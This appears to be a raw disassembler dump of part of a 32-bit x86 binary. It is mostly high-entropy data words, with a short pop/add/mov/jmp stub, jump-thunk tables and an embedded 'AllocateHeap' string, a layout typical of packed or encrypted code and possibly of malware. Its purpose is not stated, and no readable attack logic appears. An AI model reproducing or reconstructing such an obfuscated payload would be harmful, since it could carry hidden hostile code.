dd 9EAB6CE2h, 661FDB4Ah, 0A653215h, 3288F98Dh, 0C726AE83h
dd 0A101E741h, 62E0CED6h, 0EF443247h, 0ED421611h, 74F64CFh
dd 0E79844EAh, 2A9F1639h, 337A1CB7h, 0C45DE9A8h, 3B60333Bh
dd 664438FCh, 0F66E8B15h, 9DBB80B2h, 69A401F0h, 66443E95h
dd 60AC3D15h, 69113215h, 6688329Bh, 7FC1BB15h, 6242026h
dd 661135FCh, 0CB8B7015h, 0B1914703h, 7FC851Ah, 3735369Eh
dd 0A709D39Ch, 66443211h, 0E126F396h, 64D1619h, 6C61D1A2h
dd 0C2443215h, 665EB46Bh, 73BD6DBBh, 35DF53DBh, 6A14E7AEh
dd 60C1F37Eh, 8DD0E1E2h, 3F63B310h, 91048C01h, 8EC9B3CEh
dd 0EF2FE4A0h, 988969CAh, 6ACE3D4Ah, 8F223215h, 66113212h
dd 9F918462h, 0EB75D734h, 743BAFA8h, 6603DB13h, 0E8593215h
dd 9BBAEDC7h, 1B323997h, 0AD63CDB7h, 0AEA4F7CBh, 1C41CBB8h
dd 65230A24h, 33351651h, 5A96D0A8h, 60A9F32Bh, 0A723C794h
dd 8E3833D5h, 6682DB48h, 0DA063215h, 0AC5D7311h, 9682CD1Ch
dd 0DFEE52BEh, 72ADF418h, 38223215h, 0B1683456h, 56A45FD5h
dd 0BBF7BC35h, 547C3E2Dh, 76EF858h, 668839FCh, 8CAF2115h
dd 0DEE46804h, 0D9E86D74h, 7C118F98h, 0CBB13407h, 0EF318D75h
dd 61F87581h, 0F4883215h, 0BC197E41h, 634374FCh, 18446A86h
dd 0D4F75810h, 42003158h, 19481F31h, 0F53C7FA7h, 6F6674Dh
dd 8FB78D1Ah, 66223207h, 0D6D8E904h, 3F3BF83Ch, 343225A0h
dd 0FDC8A7BCh, 9A709495h, 66E0387Dh, 4240BB15h, 662237FCh
dd 41651415h, 8F23DF2Ch, 66443204h, 3A0DAE3Ah, 0F62CD311h
dd 8DE4B4FBh, 9D83C6A8h, 7FA03D35h, 6113215h, 66883EFCh
dd 1A976115h, 2804984Ah, 7CC54C97h, 660E3D01h, 7443215h
dd 4BA78F98h, 0E31E3407h, 66883200h, 664422FCh, 0D2E85215h
dd 0EF2EF7D6h, 4BE36801h, 59B34809h, 69429FDEh, 66112690h
dd 6686DA15h, 27E13215h, 0F144BE1Bh, 0D9990D2Bh, 0F9E17535h
dd 78BB94Eh, 662221FCh, 4F4F1715h, 4B5958ADh, 840610Fh
dd 96657329h, 2F7BF1Bh, 11188B44h, 0A7C51007h, 9B62BB7Ah
dd 6548FA14h, 4BA01651h, 791732EAh, 662235FCh, 0CAB28B15h
dd 0E0C00A4Ch, 6DCB3DBEh, 6223215h, 766FD894h, 0EDEE753Bh
dd 99BD53EDh, 0E57C1621h, 60F836D1h, 25883215h, 0CBEE8686h
dd 6942F1C2h, 6611339Ch, 7661CA15h, 0D5443215h, 0DEAFB21Dh
dd 0C392099Bh, 0A2F7836h, 7090E0Fh, 662EB21Ah, 0E81E3215h
dd 66883213h, 6644B41Ah, 684A3215h, 0EF113275h, 0EB741621h
dd 7EDFFB88h, 6AA33D13h, 69113215h, 66883496h, 66C03D15h
dd 99223215h, 70903DC6h, 8F883215h, 66443204h, 0AB333502h
dd 585EA8CDh, 4230A132h, 6EE5C2D5h, 9AA4DB3Bh, 0DFF8CDEAh
dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0D70CC0D5h, 0ED96A45Ch
dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh
dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
dd 0A851D6ACh, 8660D554h, 2559D7BAh, 934D64CEh, 32DCF143h
dd 8C0C7371h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
dd 0F00F38C8h, 7462C4Dh, 0B10887DFh, 3C6D552h, 92B85E00h
dd 75152A54h, 0DDAEAE30h, 0E08FA75Ch, 0FB57BB1Dh, 0D330B0D9h
dd 7BAEA45Ch, 63E96FDDh
dd 0A851A258h, 75195FABh, 32DCAA30h, 8C0C7222h, 8DCB2F16h
dd 7513330Dh, 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h
dd 3044BA45h, 9D8D0000h, 6123459h, 23E4B8h, 1858900h, 0E8061223h
dd 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp near ptr byte_5FFABD
; ---------------------------------------------------------------------------
align 4
dd 35h dup(0)
dd 0E9830000h, 8BA4F305h, 0AA5867CBh, 0DCB13256h, 82CC30EBh
dd 0D1A5E736h, 0CF8182ECh, 5E0FB506h, 0EABDDBBAh, 444C3256h
dd 56F95C8Eh, 2156E961h, 0AE598DC5h, 0DB13256h, 6736D8D7h
dd 5E9834Eh, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 63817C17h
dd 3FD525FBh, 8EADFDF5h, 22916CC6h, 7ACFB734h, 29B723ACh
dd 7A1A20ADh, 277975FDh, 4796987Ch, 0FFA073E4h, 0E9834E86h
dd 8BA4F305h, 4CBD8DDBh, 8D061992h, 1A1B058Dh, 6644B806h
dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h, 0B870FF6h
dd 0E9000000h, 6, 0BA8B0DBCh, 0BF60B3C3h, 3381917h, 0FE961F8h
dd 3A000000h, 0AC96643Eh, 85422482h, 0D8033FFFh, 7A683D80h
dd 89000030h, 60582404h, 0D38B66FCh, 1BD8361h, 6122Fh
dd 0BD830975h, 6122149h, 50197400h, 0B8C08B53h, 411h, 2B98589h
dd 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h, 74000612h
dd 0B8535017h, 411h, 2B98589h, 9D8D0612h, 614AA11h, 585BD3FFh
dd 2ECF8160h, 0B514318Fh, 83F561FFh, 48904ECh, 880F5824h
dd 1, 8D8DF8F9h, 61A1E80h, 8D89D18Bh, 6122DCDh, 80DE8B66h
dd 85C738ECh, 61231BDh, 6284h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 74C35141h, 6810Fh, 0C3810000h
dd 73AC8711h, 1185C7h, 612h, 0BD890000h, 6123469h, 835B5FFh
dd 0BF0F0612h, 8195FFC2h, 6A061227h, 0D195FF00h, 8B061229h
dd 0F84DEBC0h, 0D692D4B6h, 65CF097Ah, 469801EEh, 6C39F45Fh
dd 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h, 70A98751h
dd 66C5D82Eh, 0ECC0D07Eh, 0AD69056Fh, 0E27443D4h, 0DD86677h
dd 7996EB4Fh, 9BF7A6C7h, 0FD0041DFh, 2CD84F64h, 479FE06Dh
dd 11E8h, 0C498DF00h, 0EB7C1F66h, 0BDAECEADh, 0C7874F59h
dd 0F59A354h, 681h, 21BD8B00h, 81061204h, 5D2DC1h, 68C0F00h
dd 89000000h, 1215F59Dh, 795BBE06h, 0F6813356h, 33566E47h
dd 29BD8953h, 5B06122Dh, 816631FFh, 5AC21BC3h, 812BEB80h
dd 4C4007F2h, 11B5895Ch, 81061226h, 6914FAF2h, 0A8E0F39h
dd 60000000h, 9D8B5950h, 61224C1h, 9FC28161h, 0F6B6378h
dd 584h, 0EB816600h, 118950A3h, 10E8h, 504BDB00h, 0C4BC784h
dd 0E13D7863h, 73436134h, 5FD88B0Bh, 0E0DBE981h, 66B06C66h
dd 0E0D7C181h, 858B6C66h, 612338Dh, 1EE81h, 850F0000h
dd 0FFFFFF88h, 29F99509h, 0EDE90612h, 60000000h, 0A8D88C66h
dd 0DF840F04h, 8B000000h, 123335B5h, 0FE8306h, 22850Fh
dd 85C60000h, 61215C1h, 69696845h, 0B5FF8E72h, 61217F1h
dd 827A858Dh, 0D0FF0615h, 2E3D8589h, 0F08B0612h, 0FE93E80h
dd 3185h, 3D858D00h, 0FF061790h, 0C1BD8BD0h, 81061212h
dd 1184C7h, 35B58B00h, 87061233h, 8B9F7h, 0A4F30000h, 3335B58Bh
dd 858D0612h, 615AA9Fh, 0B58BD0FFh, 6121B91h, 0F00FE83h
dd 2285h, 0C185C600h, 54061215h, 4EBEF468h, 0F1B5FFFFh
dd 8D061217h, 15827A85h, 89D0FF06h, 121B9185h, 80F08B06h
dd 850FE93Eh, 3Ah, 1B91B58Bh, 858D0612h, 617903Dh, 0BD8BD0FFh
dd 61212C1h, 1184C781h, 0C7830000h, 91B58B08h, 8706121Bh
dd 8B9F7h, 0A4F30000h, 1B91B58Bh, 858D0612h, 615AA9Fh
dd 0C361D0FFh, 1F9D858Dh, 8589061Ah, 6122C5Dh, 0EE8h, 80ACFC00h
dd 0DDF4A341h, 0C62E3603h, 5083EC34h, 0E8585BF8h, 10h
dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 0D85EB253h, 0B1C0815Fh
dd 66000068h, 0C92BF28Bh, 148BF88Bh, 8CEA8108h, 801C25B9h
dd 0EA8165DFh, 6F6799C4h, 0EE8h, 2D222800h, 82CF10ADh
dd 659382B5h, 0E977FC6Ah, 14h, 0FB95F014h, 2A0D75DEh, 94B5C47Dh
dd 0CEB2E370h, 3BC38205h, 5AC2815Fh, 6657825Fh, 0D4B1C781h
dd 0F081489h, 385h, 0FFB70F00h, 1E983F8h, 11E860h, 0CFBD0000h
dd 554E2349h, 0A34FB501h, 50342A6Ah, 802DACB7h, 665B01CDh
dd 4961F78Bh, 0E8BF4949h, 8114E684h, 0FF9824F9h, 73850FFFh
dd 0E9FFFFFFh, 12h, 7FC63B63h, 0A6E69FF9h, 77BE5EE0h, 664AE052h
dd 32E9A575h, 0F000000h, 26B10Ah, 0Bh dup(0)
dd 529E900h, 0D2680000h, 0E9061A22h, 0FFF85F45h, 1A233D68h
dd 5F3BE906h, 0DB68FFF8h, 0E9061A24h, 0FFF85F31h, 0D522EDA4h
dd 72BF503Ch, 115EB1D9h, 0ABF81778h, 47947B12h, 0FD905E57h
dd 5F2CC512h, 0C6CA63B0h, 2B63FC49h, 6EBD97E4h, 0F9812166h
dd 6E85624Dh, 0A336D9B5h, 305B1475h, 6004838Bh, 6C7747DFh
dd 305D6E01h, 0ADE1AADFh, 71E1562h, 0DF5F88FFh, 8FF0FB47h
dd 0ADD12FDh, 0AC99A277h, 711DD6EDh, 9FAB0B9Eh, 0DE49F17Dh
dd 5869ED3h, 0B54DF17Dh, 390237D8h, 0C085BA55h, 0E810D50Ch
dd 0FB7C15CCh, 0ECA1621Dh, 0F45FA23h, 176FDC6Fh, 0C424AE4Bh
dd 33Ah, 0A06F1CD5h, 0AE9BDF0Dh, 2EEDD4DDh, 0F1752826h
dd 0A213849h, 0F1748502h, 3BEBF64Dh, 4DF1744Ch, 74870008h
dd 0E9F44DF1h, 6BB34651h, 0B4DA0AA2h, 2E0136D9h, 7FB83505h
dd 33E3C314h, 9548B524h, 0DEE6A58Ch, 4568AFC0h, 0DA679CA7h
dd 1D25E4D1h, 4756BFA6h, 5ABFCCCDh, 772DD32h, 10FF8F48h
dd 0AB642AC3h, 0CD629F2Ch, 0E7AE5316h, 360h, 0D11EF1A0h
dd 6EBB5438h, 0D5AB5D5h, 0A7F41B74h, 43907F0Eh, 18C6253h
dd 6328C10Eh, 0CAC65FACh, 2F5FF845h, 6AB993E0h, 0F9822562h
dd 0A379564Dh, 1C0A5AEh, 0F97F19F9h, 3AF90449h, 0CD020D81h
dd 3FF867FAh, 4902C14Eh, 3936C946h, 0ED22EDA0h, 8F800DC6h
dd 94F4875Ah, 4DF980F8h, 24A36C22h, 145FA86Dh, 0F57940E5h
dd 35000002h, 0CD66B35Ch, 6A0350BFh, 9A2EF20h, 0A33C8986h
dd 0E8D825EAh, 0A36C21CDh, 41CEBD56h, 0DA355BF4h, 759AF48Dh
dd 0F7FF4E28h, 4DF98290h, 0AE4016F3h, 0F901C0A5h, 49F97F19h
dd 0E86924DDh, 0E539FEBDh, 2F64CFB2h, 808FFB5Ch, 9DE5784Bh
dd 0B851363Eh, 30B4DF9h, 4DF9B884h, 4954ECF7h, 25661FDEh
dd 4FE2B5EAh, 242C436Ah, 4DF9B863h, 22821520h, 4DF9B869h
dd 1C736E8Ah, 24A6BBA4h, 1DD71h, 1C72C300h, 107B34F3h
dd 0BE876CFFh, 0FBF23FD0h, 5FABDCE4h, 7C0F47DFh, 0F38B5E93h
dd 0A0587E8h, 9A6F02D5h, 64E5A491h, 0A3F9B2FDh, 0F7E1199h
dd 0F1CC8707h, 0BEF3FE49h, 0F788097h, 6C4DF1CFh, 1D6ECE61h
dd 0D64DF1CFh, 606027BAh, 4824AE8Dh, 0D65E2931h, 541D4DF1h
dd 99AB2B4Bh, 1DB01B42h, 4C1Bh, 0A5AE6D00h, 424801C0h
dd 60167179h, 5A6547DFh, 0E5ED5CEFh, 49F17EE1h, 0C84744FDh
dd 0E52DC093h, 0FE8DA5DAh, 0BC4DF180h, 430C41CEh, 0F98FC44Bh
dd 0BFE7FCE5h, 0C4453EA3h, 0F49CD022h, 3FE2F21Bh, 0F2D23FD2h
dd 2724AE18h, 0ADh, 0F31C7279h, 5A1697BEh, 43559C7Dh, 0B5EA2569h
dd 0D3E477E2h, 572055BAh, 0DAA3D837h, 260E5BB4h, 47E0444Bh
dd 0E330DFAFh, 0BACDD5ECh, 0C947E04Dh, 4D562BBEh, 88F31C72h
dd 0F058C1C9h, 3C4749F2h, 45CAC47Dh, 3BAA3D10h, 82050D24h
dd 14DF3A3h, 3B5263F6h, 0F863ACDEh, 91FBB4ABh, 0B3DAEB7Eh
dd 323ADD5Ch, 7318EBAEh, 157ACh, 15FA9700h, 0B25D2FC8h
dd 51BECC65h, 0EB246B04h, 8788059Eh, 836B4A3Ah, 1FB8050Ah
dd 0BD56A36Ch, 56EF3CD3h, 0B08AD738h, 842E5961h, 704D4DF9h
dd 361B729Ah, 3E56CAA0h, 0BE0B7629h, 59A66925h, 0FD1C72A3h
dd 784B808Fh, 7F0FD80Dh, 3677C0D2h, 3CA7000Dh, 9977F8EFh
dd 0E10F5D97h, 0C74844A5h, 1B565F34h, 9197659Ah, 14C458F0h
dd 47E05E73h, 0DB9A0510h, 0F2AD2DD3h, 36F50049h, 8700081Fh
dd 0F44DF210h, 65222AE9h, 164DF210h, 2667780Bh, 0D7B49CE9h
dd 0E34DF210h, 7E1764ABh, 176420Fh, 2DF48780h, 768203C2h
dd 16480ECh, 74DF305Ah, 0A135FCE1h, 5E000000h, 7483F47h
dd 303B4DF2h, 5B146F9Dh, 97E8635h, 7A47DF60h, 0FCCF046Fh
dd 8B1EF19Bh, 9C8ADB6h, 0F97F1501h, 7858D949h, 0DDE57EB2h
dd 0E9F43CCFh, 6CA3EBB4h, 4908861Fh, 0A54A2DACh, 6FA40FB1h
dd 82DB5357h, 19C8DC2Dh, 24FC0CEh, 2BEA2569h, 92F5FD14h
dd 0F16E90D4h, 0D45136E6h, 25696E90h, 4AE2B5EAh, 0A0C7AC3Fh
dd 0A45F521Fh, 4F780E3Ch, 0F109A0EDh, 1F30C341h, 0C26A9F70h
dd 0AEE00BD6h, 838BA261h, 6E914804h, 0DCD96C77h, 5C44B43h
dd 6FD03F4Ch, 775CEF20h, 3B0h, 34221A00h, 0BBF01F72h, 3E739CF2h
dd 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h
dd 568B8406h, 0DB10FF8Dh, 0E08950D4h, 405h, 42D00h, 4870000h
dd 4895C24h, 0FB76824h, 4890000h, 70346824h, 3C890000h
dd 0D4BA5224h, 0B822630Ch, 0E3B714FAh, 652AE905h, 2DD00122h
dd 22652AE9h, 3C8B545Ah, 4C48124h, 52000000h, 8BAh, 0D0C28100h
dd 13EBF2Ah, 0D0EA81FAh, 893EBF2Ah, 34FF5A02h, 0C4835F24h
dd 24048B04h, 5E08950h, 4, 405h, 24048700h, 5A2BE95Ch
dd 811CFFF8h, 0B89AF8C8h, 61A2657h, 0E0FFC503h, 6DDA58D4h
dd 0A792217h, 2A05617Fh, 0B0396C0h, 32D1FC85h, 36035DF5h
dd 4A6C2BD3h, 35616CBEh, 2CC32192h, 4C9CA708h, 13A93869h
dd 73D6FE2Ah, 0C114631h, 28F7436Fh, 5051630h, 56DA64ADh
dd 6BEFD5F5h, 16E936Bh, 27DC8D8Dh, 0D5B4061Ah, 2DCD8D89h
dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 85C726C3h, 61231BDh, 7038h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 17h, 55C35040h, 0C7313D48h
dd 12001185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0E80C6270h, 4159D09h
dd 810F0612h, 6, 3311B531h, 0B5FF0612h, 6120835h, 0CD8D2960h
dd 5306122Ch, 0FF615BF8h, 12278195h, 999D8B06h, 6A061207h
dd 0D195FF00h, 8B061229h, 0B64DEBC0h, 0B5B4249Ch, 0B0DA0A84h
dd 75EDE810h, 58AA11DAh, 0CFE49B8Eh, 0DDC06716h, 0C513F8F7h
dd 0F24CB34Fh, 0CE3FD4F9h, 0F9CB93A8h, 0F8C5A2D3h, 665B07F1h
dd 0BFFE91A4h, 7768E386h, 0E0A20CCh, 30D41C87h, 13DFDD18h
dd 264B5182h, 0B6FEF64Dh, 28E9h, 0A820B100h, 6C745229h
dd 6F6C6C41h, 65746163h, 70616548h, 14000000h, 4 dup(0)
dd 107AE900h, 9D680000h, 0E9061A2Ah, 0FFF85895h, 1A2BB268h
dd 588BE906h, 0E768FFF8h, 0E9061A2Dh, 0FFF85881h, 1A2EEC68h
dd 5877E906h, 3268FFF8h, 0E9061A32h, 0FFF8586Dh, 1A32C668h
dd 5863E906h, 568FFF8h, 0E9061A33h, 0FFF85859h, 1A33EB68h
dd 584FE906h, 0A668FFF8h, 0E9061A34h, 0FFF85845h, 1A350468h
dd 583BE906h, 7368FFF8h, 0E9061A36h, 0FFF85831h, 1A373F68h
dd 5827E906h, 0F79AFFF8h, 5A32CB18h, 0BBCF68B5h, 216E0754h
dd 8508A1EEh, 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h
dd 8DDA3559h, 2B5C64B3h, 584DF988h, 9314A57Bh, 0D8F2E904h
dd 60411E25h, 3C04A73h, 3E5061F4h, 0BBD39CD1h, 3A561F54h
dd 305D16D5h, 0BF674CDFh, 0BBD30ED3h, 0C7A02F96h, 0E04B3769h
dd 7D859C93h, 47E03E0Ah, 9A32DDB0h, 0BFC8D08Fh, 0BC47E03Dh
dd 800D1EB1h, 0CA4B428Fh, 996E4588h, 77881BAAh, 0FAC3F817h
dd 372E7B94h, 0CD020D7Eh, 899267FAh, 2574D1DEh, 84EFC8C5h
dd 0FBD1BDC5h, 0EBB449F1h, 0DF1D10D9h, 110717C7h, 1D2E84ADh
dd 455C1B86h, 0F2224A3Dh, 9B2E394Dh, 22ED9EB6h, 0C0CD4DF2h
dd 39511A4Fh, 28DCA1D6h, 0E0FC24B9h, 210A8A01h, 5ADF24AEh
dd 31000000h, 0F9009314h, 0C4FBF0F6h, 51E42B63h, 0CF8E737Ch
dd 659A7516h, 53C6A3D4h, 0C02BBA89h, 10B6BE2Dh, 5049F1E0h
dd 9E5DF497h, 0B79F5808h, 0A275AA15h, 6068C70Fh, 4DF1BE27h
dd 0A9DE4954h, 4AC5C982h, 356AA5E9h, 1C6FCF62h, 0D74DF1BEh
dd 675F26BBh, 0B424AEA0h, 0DCh, 0F31C7206h, 0B998F5BEh
dd 2C609C5Eh, 0B2DBAEE3h, 8C0005BEh, 78AD1883h, 0FB30DFAFh
dd 66B35C32h, 2CCEE6Fh, 3F749BF2h, 0EDF6436Ch, 0A1CB2BBEh
dd 0CB47DFEEh, 66FF4CC3h, 25B2E728h, 6E76351Ch, 49F1F16Ch
dd 0E8315A5Bh, 94FF6AA5h, 0F4E1EA47h, 0FE117C35h, 92F4FC6Bh
dd 0CE50049Dh, 95D8AFB7h, 831A47E5h, 8E35730Ch, 0F71EE77Fh
dd 4248FFA1h, 266E016Ch, 3D455C1Bh, 47E6474Ah, 2C9B2E39h
dd 0A8F51A73h, 12917E0Fh, 0EDBC9509h, 77BD8429h, 0D500000Dh
dd 6D0653BCh, 0AA3F01Fh, 0A9428F80h, 43DC29E6h, 8878C54Ah
dd 43CCC12Dh, 0E12E5DF6h, 7A95FB94h, 15FA942Dh, 979FEEC8h
dd 4DF989F0h, 72E0B693h, 828DFE1Bh, 5D31CA17h, 533AF3B2h
dd 92F5FDBCh, 0F147DF5Fh, 0A05653E6h, 1C0A5AEh, 0F17ECDF9h
dd 0F82D3849h, 0F180ABE0h, 0B52C484Dh, 0AEDFE6DEh, 0E73324h
dd 2D440000h, 0F18C6225h, 8316214Dh, 9F1C7255h, 0DF5FF097h
dd 23646C47h, 6047DF60h, 47B2BD55h, 0CB444912h, 5AEE7E96h
dd 365847DFh, 640A7D85h, 6E7947DFh, 0E4C34403h, 5BB4DADFh
dd 2AF98A32h, 8D019A97h, 0B7C04D82h, 0D7030BCAh, 9F49F200h
dd 35CEC11Eh, 0C85B8059h, 31287580h, 3AF91678h, 0F1865532h
dd 881B264Dh, 0CBC5AAB3h, 66D13E4Eh, 5F343CFBh, 44500428h
dd 87F97A39h, 3AD96F97h, 0FD68A7E5h, 0EA1FF09Ch, 0FE158417h
dd 0BFC8D0E7h, 0BC47E640h, 408601B1h, 0EAF547E6h, 0C8474657h
dd 64ABE27Bh, 0BC9C5CE5h, 0AD176EDh, 0C62h, 0F13ED1C0h
dd 8EDB3458h, 2D7A95F5h, 0C714FB94h, 63B05F2Eh, 0E1AC4273h
dd 4348E12Eh, 0AAE67FCCh, 0F7F1865h, 8AD9B300h, 0F98B0582h
dd 0C399764Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 7699F5BEh
dd 5F4A4129h, 1E7047DFh, 0F4ADA4F1h, 0C44D7699h, 0CFFA32E9h
dd 781627BAh, 243B6297h, 0DFD56B1Ch, 8E5C8747h, 4C46689Ah
dd 516A9B4h, 72518689h, 96F8F3EEh, 5F372C79h, 8C22BC13h
dd 0ABh, 2A5AEDEh, 7B7B8A7Bh, 0B2D83910h, 2B33F25Dh, 49F24013h
dd 4B72A7B2h, 991C25CAh, 13E61BF4h, 0C11BF3EAh, 21BDCE2Eh
dd 0F7364DF2h, 21AFD8E0h, 0C1CC4DF2h, 88FFE22Eh, 24AE2008h
dd 6ADDh, 6B232F00h, 8D47DF5Fh, 0D6DE9D84h, 49F16BE0h
dd 0D66FBCC7h, 0E72862B7h, 0B1BA477Ch, 741F6870h, 515C4DF1h
dd 0C71F27E6h, 0EE500390h, 1E9F96E3h, 5B56EDA0h, 0B5C659CBh
dd 72FF34DBh, 216F2869h, 0D1493EEEh, 393A47DFh, 0B487BC53h
dd 171FDE49h, 49F1F863h, 0BF783742h, 3B0E43CCh, 0FBB4ABA8h
dd 73467B94h, 88ED1E0h, 0AE3B0000h, 0EA01C0A5h, 0FD6BC169h
dd 0D0557E91h, 0F151E439h, 49F24F05h, 917B8809h, 0F033C47Bh
dd 7C14155Dh, 208B5E93h, 850BC4EBh, 0DE13FC94h, 0AD0DA00Bh
dd 4DF239DEh, 0A1E8F915h, 24AE3821h, 1EF6h, 68234800h
dd 4847DF5Fh, 55BAD089h, 0A4EC4D20h, 0D3C9D86Bh, 0F2FFFFFBh
dd 83B85739h, 0AEEF1DB0h, 0F901C0A5h, 49F18FB9h, 7DA4D9E4h
dd 0B043CCC4h, 0F1903B50h, 459CB84Dh, 0AED2764Eh, 127D3624h
dd 62F5C8FDh, 4FB60h, 0C9F07100h, 58DE2DDDh, 780F17D6h
dd 0B4DF25Eh, 9B3F6D00h, 0EAD7E0B9h, 7B0C142Bh, 847DF5Fh
dd 0F3FB6AFDh, 49F1755Bh, 29E6A9AAh, 4B3CAB00h, 0BD28C48Ch
dd 0CBC47D6Ch, 0E27E0F44h, 9D081460h, 4EAE41ACh, 0B414D21Eh
dd 11C469EAh, 4F9B6532h, 0F7DEE7BCh, 0D05E3038h, 1E29F9C8h
dd 6E535CE9h, 4D6EA7AFh, 4A55F3B8h, 5DBCD28Bh, 0D9ACE12Eh
dd 688216Eh, 8C858A09h, 28CD426Ah, 0A2D61h, 9068B00h, 0A66923BCh
dd 45CAC059h, 0DF305FF8h, 7B94F992h, 77773E2Eh, 13ACF916h
dd 0B14A9778h, 4AE330DFh, 0A47ECB44h, 8D3A4D55h, 6C494DF9h
dd 0EF931496h, 0CDA2078Fh, 206E7F12h, 242DBAEFh, 5C767E3Dh
dd 4B49F1FBh, 0BCA3E4ECh, 0D5E04DF1h, 98F2AB6Ah, 0DC6F4277h
dd 373F566Dh, 4DF1BC50h, 0C7C72833h, 0ECA4B548h, 7DB25D2Dh
dd 0FBF23FAAh, 92C74842h, 751B2CBFh, 0BF5ADB9Ah, 0F00B3703h
dd 193116A9h, 4DF1F56Eh, 0F20596F5h, 6A57604Dh, 7798F2ABh
dd 356D75E4h, 500413h, 171F36F5h, 47E00770h, 94C9464Ah
dd 8B1E29C1h, 7FD8EA6h, 0DAF647E0h, 56008007h, 24D522BCh
dd 27000000h, 1C0A5AEh, 0F17FC9F9h, 0AEB6CD49h, 4DF17FD9h
dd 0B01E1AAh, 0D093E4F5h, 7F8AD265h, 15834Ah, 0AEED0000h
dd 0F901C0A5h, 49F17BF5h, 0A9D00510h, 3D729DF0h, 72A9D76Ah
dd 9974F31Ch, 0D9EDBA7Dh, 9286D34h, 0B860000h, 6E1EB704h
dd 0CFBB54A1h, 355AF340h, 99F48DDAh, 7C392976h, 0A7F41B72h
dd 45927D0Eh, 0DE2BE4ACh, 79C64945h, 3F48509Fh, 3C4DF98Eh
dd 0A5AE895Fh, 6023646Ch, 556047DFh, 5F232BEAh, 4E49F170h
dd 79A0E7EFh, 2D524DF1h, 9CC2C966h, 0EE4F5AF2h, 693C719Eh
dd 8E00C9FEh, 0C24C3481h, 382E9AD5h, 97F4412Eh, 3C4B538Eh
dd 3F6938D9h, 19F50B34h, 0C599EF01h, 0ACE29B5Ah, 4A61D063h
dd 8316F991h, 4ABBCB23h, 939BFA6Bh, 6F2AC3F4h, 67202887h
dd 146F2AC3h, 0FE339E09h, 9F701ED7h, 7E91FB0Ch, 0F0CBD431h
dd 683B709Fh, 6C363EFDh, 5B713CF0h, 88031B50h, 6B6938A9h
dd 9BFB924Fh, 0E303E5A8h, 17AA652Ah, 16915h, 70F2600h
dd 6938B180h, 21B9563Ah, 14558316h, 0ED7B7393h, 0DF81A2E5h
dd 0ADD6E147h, 74072AADh, 0F0AF969Fh, 0F2419AE8h, 2ADCA549h
dd 14FB9446h, 0D5E30CDFh, 3F74DF41h, 15391876h, 0E53BE1D3h
dd 0CAC10E79h, 343C7F11h, 4DF1EA53h, 27BA2530h, 62977816h
dd 9B1DC44Ah, 0C8192D2Eh, 424A711Dh, 69391045h, 73C02B36h
dd 265BB4DAh, 0E243000Eh, 0EEF3DF49h, 27749BF3h, 500F008Eh
dd 0E116F997h, 9967B0Eh, 0CBBCC4FDh, 0B84DF1EAh, 0CF404CADh
dd 0A9DA564h, 0B94DF1EBh, 0FB0461AEh, 0EF9E5716h, 305AEB20h
dd 85C8C697h, 7FEE81ECh, 3B4A377h, 42778250h, 8BFC041Bh
dd 0F847DF63h, 45495AEDh, 0AAE47DCAh, 90FA1F6Fh, 0C774A7Fh
dd 5B546CA1h, 0A047DF64h, 0CCC22DB4h, 1B0EF643h, 1BDBB39Ch
dd 0BFC8D011h, 0BCBC339Bh, 68746B1h, 9FB21744h, 0FFEE57DBh
dd 0DDD09DC6h, 572D9F26h, 107BC439h, 889807Dh, 0BDD90C1Dh
dd 5364F79Fh, 9415D43Bh, 8A9269CEh, 0BC336FFDh, 884A737Eh
dd 0B4992C85h, 59B6D48Dh, 30F166C6h, 53C3DDBh, 0A6CF404Ch
dd 2D412AB5h, 0A8F48727h, 2FE0AE39h, 0D44549E2h, 502358B7h
dd 1A23B0E5h, 4FBA5535h, 2D9A8890h, 5A653C05h, 305D160Dh
dd 6BA4E9h, 5665F8CBh, 63h, 45CAC67Fh, 0A5AE84B2h, 0C9F901C0h
dd 0F449F17Fh, 3D729DF3h, 7F790E16h, 0FF0A4DF1h, 2BF42994h
dd 38D7B861h, 0EFF70ECDh, 4DF17F98h, 6FA46B22h, 66F9049Ch
dd 0D6B97269h, 29141039h, 0C9E2EBE2h, 0E9425D36h, 88FF071Eh
dd 0D44DF1EEh, 0F1EEBBCCh, 25BDC84Dh, 0A6B2871Ah, 0C9F6FEBDh
dd 0FA4DF1EEh, 724947EFh, 1D34F31Ch, 0DF5F7215h, 0DA481147h
dd 21371CD6h, 827F127Dh, 76351C25h, 2BE4A65Fh, 3E963898h
dd 0E6F149F2h, 0ED226E27h, 868907A0h, 0D6BBC451h, 65C30F17h
dd 31325004h, 0AE81B659h, 0CE038443h, 54C2280Bh, 931C2134h
dd 3ED2766Ah, 0DDAEC6ABh, 1947DFE8h, 4B622110h, 0B8C0FB92h
dd 47DFC8CFh, 136A1ACh, 673B9B2Eh, 5649F1F5h, 8DFE164Bh
dd 664DF1A6h, 90F0974Ah, 4524AEB9h, 18h, 0C0A5AE97h, 7FC9F901h
dd 14CD49F1h, 0BA02957Ah, 0EB37AAFh, 1D000000h, 1C0A5AEh
dd 0F17BF5F9h, 0D0051049h, 0F31C72EAh, 0BA7D8F74h, 0F7BE63EDh
dd 5E2h, 71BE5140h, 0E5BB4D8h, 0ADFA1575h, 47947B14h, 0E330DFAEh
